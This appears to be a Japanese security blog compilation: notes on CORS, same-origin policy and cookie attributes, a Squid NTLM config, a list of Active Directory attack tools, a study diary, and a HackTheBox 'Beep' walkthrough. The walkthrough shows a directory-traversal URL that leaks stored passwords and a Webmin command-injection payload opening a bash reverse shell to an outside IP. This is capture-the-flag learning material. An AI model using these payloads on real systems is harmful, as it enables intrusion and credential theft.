CORS(Cross-Origin Resource Sharing)

CORS(Cross-Origin Resource Sharing)の誕生の背景

JavaScriptの活用が進むようになると、同一オリジンポリシーの制限を超えてサイト間のデータのやり取りをしたいというニーズが多くなった。

このためXMLHttpRecuestなどいくつかの局面についてサイトを越えてデータをやり取りできる仕様が作られた。 それがCORS(Cross-Origin Resource Shaaring)

CORSは従来の同一オリジンポリシーに依存するアプリケーションとの互換性を保ちながら、ことなるオリジンとのデータ交換を可能にする。

CORSを使用するには?

Access-Control-Allow-Originが必要である。 情報の提供元である(サーバ側)がHTTPレスポンスヘッダとして出力する必要がある。

Access-Control-Allow-Origin: http://hoge.com

CORSの要件

シンプルなリクエストであること。 以下の要件である。

->メソッドが以下のいずれかを使用していること・

  • GET
  • HEAD
  • Post

->XMLHttpRequestオブジェクトのsetRequestHeaderメソッドで設定するリクエストヘッダは以下に限る。

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type

-> Content-Typeヘッダは以下のいずれかであること

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

プリフライトリクエス

クロスオリジンアクセスにおいてシンプルなリクエスの要件を満たされない場合、ブラウザはプリフライトリクエストというHTTPリクエストを送信する。

認証を含むリクエス

デフォルトではクロスオリジンに対するリクエストには、HTTP認証やクッキーなどの認証に強いられるヘッダーは自動では送られない。

これを用いるには、XMLHttpRecuestのプロパティwithCredentialsをtrueにセットする必要がある。

以下の要件を満たす必要がある。

  • XMLHttpRequestオブジェクトのwithCredentialsプロパティをtrueにする。
  • responseヘッダとしてAccess-Control-Allow-Credentias:trueで返す。

同一オリジンポリシーの必要性

同一オリジンポリシーの必要性

同一オリジンポリシーを設定することにより、JavaScriptなどのクライアントスクリプトからサイトのをまたがったアクセス(クロスドメイン)を禁止するセキュリティ上の制限である。

これはブラウザのサンドボックスに用意された制限。

同一オリジンである条件

  • URLのFQDNが一致していること。 要は「a.hoge.com」と「b.hoge.com」があった時に、「hoge.com」が一致していればいいというわけではなくちゃんと「a.hoge.com」で一致していないといけない。
  • プロトコルが一致していること。http⇔httpsではダメでhttp⇔httpもしくはhttpshttpsでないとダメ。
  • ポート番号が一致していること。

同一オリジンポリシーが設定されていても受動的攻撃は防げない!?

アプリケーション側に脆弱性がある場合受動的攻撃を受ける場合がある。

その代表的な攻撃がXSSである。

クロスドメインのアクセス方法

同一オリジンポリシーのおかげで、クライアントスクリプトからサイトをまたいだアクセスができない。 ただし、例外はある。 以下にできるものとできないものを記載する。

  • frame要素とiframe要素 クロスドメイン自体のアクセスはできるが、Javascriptによってクロスドメインのドキュメントにアクセスすることが禁じられている。

  • img要素 img要素のsrc属性はクロスドメインの指定が可能である。 この場合、画像に対するリクエストには画像のあるホストに対するクッキーが使用されるので、罠サイトに「認証の必要な画像」を表示させることも可能。

HTML5canvas要素を強いるとJavascriptから画像の中身にアクセスできるが、この場合同一オリジンポリシーおよび、CORSの制約を受ける。なので通常クロスドメインの画像参照が問題になることはない。

  • script要素 script要素にsrc属性を指定すると他のサイトからJavaScriptを読み込むことが出来る。

クッキーの属性について

クッキーの各属性について

クッキーの属性には以下の様なものがある。

  • Domain : ブラウザーがクッキー値を送信するサーバドメイン
  • path :ブラウザーがクッキー値を送信するディレクト
  • Expires : クッキー値の有効期限。指定しない場合はブラウザの終了まで
  • HttpOnly : この属性が指定されたクッキーはJavaScriptからアクセスできない。

このうちセキュリティに重要なのは、Domain、Secure、HttpOnlyの3種となる。

Domain属性について

まず、クッキーはデフォルトでは、クッキーをセットしたサーバにのみ送信される。 セキュリティ上最もこれが安全である。

ただ複数のサーバに送信されるクッキーを設定したい場合がある。 例えば「a.hoge.com」「b.hoge.com」「a.hoge.jp」があるとして クッキーの属性には「Domain=hoge.com」が設定されていたとする。 そうするクッキーが使用されているサーバは、{「a.hoge.com」「b.hoge.com」}の2つとなる。

このDomain属性の設定をしくじると、「セッション固定化攻撃」の影響を受ける。

さらにレンタルサーバなどでドメインを使いまわしている場合注意が必要。 例えば「hoge.example.com」「fuga.example.com」である場合など。

まとめ

  • Domain属性とデフォルトの状態を比較すると、デフォルトのままの方が安全であるといえる。
  • HTB系のプラットフォームが全て同じ資格情報でアクセスできるのであればDomain属性で使いまわせるということである。 「academy.hackthebox.com」、「lab.hackthebox.com」、「ctf.hackthebox.com」的な感じ。

Secure属性について

これはめっちゃシンプルでHTTPの通信の時はクッキーはサーバへは送られず。HTTPSの通信の時のみサーバに送信される。 Secure属性がついてなければHTTPSの通信かどうかに関係なく常にサーバにクッキーが送られる。

まとめ

  • HTTP(暗号化された)通信の時のみサーバへクッキーが送られるので、中間者攻撃などでクッキーが盗まれることはない。

HttpOnly属性について

Javascriptからアクセスできないクッキーにすることが出来る。

クッキーを盗み出す方法としてXSS(クロスサイトスクリプティング)という攻撃を利用していた。

この属性によりXSSでクッキーが盗まれるのを防ぐことが出来る。

まとめ

  • XSSによりクッキーの読み取りを防ぐことが出来る。

【Squid】NTLM認証でのADグループのアクセス制御

/etc/squid/squid.conf

# NTLM認証を有効化
auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp --DOMAIN=ドメイン名を入力
auth_param ntlm children 100
auth_param ntlm keep_alive on

external_acl_type Grupos_AD ttl=10 negative_ttl=10 children-max=100 %LOGIN /usr/lib64/squid/ext_wbinfo_group_acl -d
acl 任意の名前を入力 external Grupos_AD ADのグループを入力
acl auth proxy_auth REQUIRED

http_access deny !auth
http_access deny !上記で入力した任意の名前を入力

以上。

Window Enumeration Tools

Tools

Tool Name Description(説明)
PowerView/SharpView ADの状態を把握するためのツール。BloodHoundが行うデータの多くを収集するのに役に立つ。net*コマンドの代わりとして使用できたりもする。
BloodHound ADの関係を可視化するツール。
SharpHound ユーザ、グループ、コンピュータ、ACLGPO、ユーザおよびコンピュータの属性、ユーザセッションなど様々なADのオブジェクトに関する情報をADから収集するツール。BloodHoundに取り込むためのJsonファイルを生成できる。
BloodHound.py ほとんどのBloodHound収集方法をサポートしている。また、ドメイン委参加していない攻撃ホストから実行ができる。出力は分析のためにBloodHoundに取り込むことが出来る。
Kerbrute GO言語で書かれたツール。Kerberosの事前認証を使ってActiveDirectoryのアカウントを列挙して、パスワードのブルートフォースを実行する。
Impacket toolkit ネットワークプロトコルを操作するためのツールコレクション。ActiveDirectoryを列挙して実行するための様々なスクリプトが含まれる。
Responder Responderは、LLMNR、NBT-NS、MDNSをポイズニングするための専用ツール。
Inveigh.ps1 ネットワークスプーフィングやポイズニング攻撃を実行するためのPowershellツール
C# Inveigh (InveighZero) InveighのC#バージョンは、ユーザー名やパスワードのハッシュのようなキャプチャされたデータを操作するための半インタラクティブコンソールを備えています。
rpcinfo RCPプログラムの状態を問い合わせたり、リモートホスト上で利用可能なRCPサービスのリストを列挙したりするために使用する。※権限に注意
rpcclient リモートRPCサービス経由でADの様々な列挙タスクを実行するのに使用される。
CrackMapExec (CME) 列挙、攻撃、ポストエクスプロイトツールキット。列挙ヤ収集したデータによる攻撃の実行に役立つ。SMB、WMI、WinRM、MSSQL、ビルドインAD機能とプロトコルを悪用する。|
Rubeus Kerberos Abuse(Kerberosを悪用するための手法の名前)のために作られたC#ツールである。
GetUserSPNs.py 一般ユーザに紐づくサービスプリンシパル名を検索できる。
ldapsearch LDAPプロトコルと対話するために組み込みインターフェース。
windapsearch LDAPクエリを使用してADユーザ、グループ、コンピュータを列挙するツール。か明日たむLDAPクエリを自動化するに便利。
DomainPasswordSpray.ps1 ドメインユーザに対してパスワードスプレーを行うためのツール。
LAPSToolkit Powerviewを利用して、MicrosoftのLAPS(Local Administration Password Solution)が導入されているAD環境を監査、攻撃する。
psexec.py 半対話型シェルの形でPsexecのような機能を提供してくれる。
wmiexec.py WMI上でのコマンド実行機能を提供する。
Snaffler アクセス可能なファイル共有があるコンピュータで、Active Directory内の情報(認証情報など)を見つけるのに便利。
setspn.exe) ADサービスアカウントのService Principal Names(SPN)ディレクトリプロパティの追加、読み取り、変更、削除を行う。
Mimikatz 多くの機能を実行する。特に、パスザハッシュ攻撃、平文パスワードの抽出、ホスト上のメモリからのKerberosチケットの抽出。
secretsdump.py ホストからSAMとLSAシークレットをリモートダンプする。
evil-winrm WinRMプロトコルでホスト上の対話型シェルを提供する。
mssqlclient.py MSSQLデータベースとやりとりする機能
noPac.py CVE-2021-42278とCVE-2021-42287を使用して、標準ドメインユーザーからDAになりすます。
rpcdump.py RPCエンドポイントマッパー。
CVE-2021-1675.py PythonのPrintnightmare PoC。
ntlmrelayx.py SMBリレー攻撃を実行する。
PetitPotam.py MS-EFSRPC EfsRpcOpenFileRaw またはその他の関数を介して、Windows ホストに他のマシンへの認証を強要する CVE-2021-36942 用の PoC ツールです。
gettgtpkinit.py 証明書やTGTを操作するためのツール。
getnthash.py このツールは、既存のTGTを使用して、U2Uを使用して現在のユーザーのPACを要求する。
adidnsdump ドメインからDNSレコードを列挙してダンプするツール。DNSゾーン転送の実行に似ている。
gpp-decrypt グループポリシーの環境設定ファイルからユーザー名とパスワードを抽出します。
GetNPUsers.py Impacket ツールキットの一部。ASREPRoasting攻撃を実行し、「Do not require Kerberos preauthentication(Kerberosの事前認証を必要としない)」が設定されているユーザーのAS-REPハッシュをリストアップして取得するために使用される。これらのハッシュを Hashcat などのツールに送り込み、オフラインでパスワード・クラッキングを試みる。
lookupsid.py SIDブルートフォースツール。
ticketer.py TGT/TGSチケットの作成・カスタマイズツール。ゴールデンチケットの作成、子から親へのトラストアタックなどに使用できます。
raiseChild.py Impacketツールキットの一部で、子ドメインから親ドメインへの権限昇格を自動化するツールです。
Active Directory Explorer Active Directory Explorer(ADエクスプローラ)は、ADビューアおよびエディタです。ADデータベースをナビゲートし、オブジェクトのプロパティや属性を表示するために使用できる。また、オフライン分析用にADデータベースのスナップショットを保存することもできます。AD スナップショットをロードすると、データベースのライブバージョンとして調査できます。また、2 つの AD データベースのスナップショットを比較して、オブジェクト、属性、およびセキュリティ許可の変更を確認するために使用することもできます。
PingCastle リスクアセスメントと成熟度フレームワーク(AD セキュリティに適合した CMMI に基づく)に基づいて、AD 環境のセキュリティレベルを監査するために使用される。
Group3r Group3rは、ADグループポリシーオブジェクト(GPO)の監査とセキュリティの設定ミスの発見に役立つ。
ADRecon 対象となるAD環境からさまざまなデータを抽出するためのツール。データは Microsoft Excel 形式で出力され、サマリー・ビューや分析により、環境の全体的なセキュリティ状態を把握することができる。

HTBのEazyレベルが何とか解けるくらいになるまで

▼期間

1年くらいで行けた。(ただし面倒くさい系の問題はかなり苦戦するもしくは、解けないのもある)

 

▼仕事

私はインフラエンジニアでVMwareのESXiとvCSAの設計構築とWindowsも設計構築、Linuxは構築~運用をしたことがあるレベル。

※基本操作は覚えた位でセキュリティに役立ったかと言われるとそこまで役に立った感はない。

 

▼生い立ち

初めてセキュリティに触れたのはCpawCTF(多分4年前)だった。

VMの立て方すら知らない状態からのスタートだったので、全部最初は答えを見てた。

基礎を固めようと思い基本情報技術者CCNAなどを勉強したが3日坊主で終わる。

それからは、黒い砂漠などのオンラインゲームで遊び、勉強は全く持ってやっていなかった。(現場の稼働もかなりやばく疲れていたのもあったが)

 

ただ今思うと現場で生かせるような勉強方法してなかったため、やる気が起きなかったんだろーなと思う。

 

そこから黒い砂漠で知り合った女の子(Fカップ少女)と別れ、今後について真剣に考えるきっかけになった。

 

そこから新卒で入った会社を1年ちょいでやめ、人の会社で代表を務めた。

これも1年くらいで代表を辞任して、自分で会社を立ち上げた。(これが2年前)

で、自分で会社を立ち上げ本格的にセキュリティの勉強を始めた。

 

▼やったこと

1.TryHackMeをやり始めた。(1日2時間くらい勉強をしていた。)

    ・TryHackMeでは以下の順番で勉強をした。(多分半年くらい?)

        ・Complete Beginner

        ・Jr Penetration Tester

        ・Web Fundamentals

     勉強の方法として効率は悪いと思うがマジで2周か3周した。

 

ここでの教訓。

1.テキストをやったとしてもHTBが解けるわけではない。(やってよかったとは思ってる、多分やってないと答えを見ながら解いても理解すらできなかったと思うから)

2.紙のノートにメモを取ったり、パソコンでエディタを使ってメモを取っていたが、そんなことをするくらいならCheatSheet作れや。。。馬鹿かお前

 

2.HTBで問題を解く。

リタイアマシンから説くのがいいと思う。

ちなみに以下のようなものではなく。

こういう問題から説いていこう

以下の様にHTBで設定して一番後ろのページが簡単なBOXになる。

 

▼心構え

1.セキュリティは忍耐力。

これは問題を忍耐強く解けという意味ではない。

答えを見ながら説いて手法や意図を学ぶことを指している。

もちろん答えを見ずに忍耐力をもって考え続けることも必要だが、1年くらいはの人には逆に効率が悪くなりそうなので答えを見た方がいいと思う。

2.継続こそが正義。

正直勉強をしていて何回も自分の才能のなさを実感して、やめたくなったりイライラしたりしていた。

答えを見ても答え通りにできないときもあったりして。。。本当に心がへし折られる。。。

3.昨日の自分に勝てればそれでいい。

昨日までの自分が理解できないor知らない部分を一つでも理解or知るが出来たらそれでよしとする。

4.休憩

悩んだとき集中できないときは散歩に行く。

 

▼1年前の自分と今の自分の違い

1年前上記のマシン(私が把握している中でHTBで一番簡単なマシン)すら解けなかったが、1年後やってみたら(どうやって説いたか記憶にない状態)解けた。

他にもいくつかのマシンをやったがちゃんと解けた。

そこでやっと自分の成長に気づきActiveマシンをやったところEasyはすべて解け無事Hackerランクまで行けた。

 

▼まとめ

半年後に答えを見て説いたマシンを解き直してみるといいと思う。

自分の成長を感じられると思う。

本当に忍耐力とあきらめない気持ちと楽しんでやることが大切だと思う。

 

▼参考程度に

・CheatSheetとは

以下のようなものを指す。

コマンドのオプションなんて全部覚えてられないw

私はHackMDを使用しているが、CherryTreeを使ってもいいし、メモ帳でもいい。

 

・モチベーションキープ&学習方法疑問が出たときに使用したもの。

   ・IPPSecのインタビュー記事

       https://www.hackthebox.com/blog/Interview-with-Ippsec

  ・ペンテスターの生活動画

     https://www.youtube.com/watch?v=_NVxgQdA45g

     https://www.youtube.com/watch?v=_U3ePBHvfJg&t=3s

     https://www.youtube.com/watch?v=VxRX2u0Bk2g&t=196s

・映画

    1.持たざるものが全てを奪う。

       https://eiga.com/movie/86110/

    2.Mr.Robot

       http://mrrobot-tv.jp/special/column/

       

以上

PS.最後まで真面目にこんなのを読むもの好きはいないと思うが、誤字脱字があったら教えてね。(バグバウンティみたいに報奨金は出ません。)

【HTB】Beep(Easy)

大まかに

  1. Nmap
  2. Search exploit
  3. Directory Traversal
  4. Reverse Shell

Nmap

 22/tcp ssh 4.3
25/tcp smtp 
80/tcp http 2.2.3
110/tcp pop3 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp rpcbind #100000)
143/tcp imap 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp ssl/http 2.2.3
878/tcp status #100024)
993/tcp ssl/imap 
995/tcp pop3 
3306/tcp mysql 
4190/tcp sieve 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
4445/tcp upnotifyp? 
4559/tcp HylaFAX 4.3.10
5038/tcp Asterisk Call Manager 1.1
10000/tcp http MiniServ 1.570 (Webmin httpd)

▼それぞれのWebアプリ - https://10.10.10.7/ Elastix

Search Sploit

  • Elastix
Elastix - 'page' Cross-Site Scripting         | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulne | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclus | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection             | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection            | php/webapps/38091.php
  • php/webapps/38091.php これをやってみたがダメだった。 ここに書いてあるコードを読んで以下を実施したところファイル閲覧ができた。
https://10.10.10.7/vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../../../../../etc/elastix.conf%00
▼結果
mysqlrootpwd=jEhdIekWmdjE
cyrususerpwd=jEhdIekWmdjE
amiadminpwd=jEhdIekWmdjE
  • このパスワードを利用してWebminにログインして以下のPayloadを実行
https://10.10.10.7:10000/file/show.cgi/bin/aaabbbcccc%7C/bin/bash%20i%20%3E&%20/dev/tcp/10.10.16.2/4444%200%3E&1%7C

この際に4444でポートリッスン

# nc -lnvp 4444